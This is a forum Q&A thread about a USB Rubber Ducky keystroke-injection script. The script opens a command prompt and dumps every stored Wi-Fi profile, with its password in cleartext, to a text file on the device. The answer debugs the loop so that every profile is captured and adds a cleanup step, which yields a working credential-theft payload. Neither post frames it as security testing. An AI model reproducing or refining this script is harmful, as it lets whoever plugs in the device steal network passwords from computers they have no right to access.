1

I'm creating a basic USB Rubber Ducky script with the intent to save a computer's stored wifi passwords into a text file. I have flashed the USB RubberDucky with TwinDuck and have successfully been able to use it as both a keyboard logger, and mass storage device. My code technically works, however, it only prints the last stored profile rather than all of the profiles to the text file.

Here is my code:

DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear > d:\wifi.txt | type d:\wifi.txt
ENTER

I know the error has to do with the for loop in line 7, however I have tested the command in command prompt and it outputs all the stored profiles as wanted. The problem is in taking all the output to the command prompt and storing into the text file. Just to restate the issue, it only prints the last Wi-Fi profile.

1 Answers1

0

Your loop is built with one > redirection and using pipes where & is better

Thus is constantly building a new file with each entry thus you only get the last one.

use >> in place of > and replacing 2x | with & then you get the full Monty.

DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo & netsh wlan show profiles %j key=clear >> d:\wifi.txt & type d:\wifi.txt
ENTER

The problem then becomes each time you run it the list gets longer, so start by nuking the file first.

I leave that to you to decide but the simplest way is first run

if exist d:\wifi.txt del d:\wifi.txt
K J
  • 8,045
  • 3
  • 14
  • 36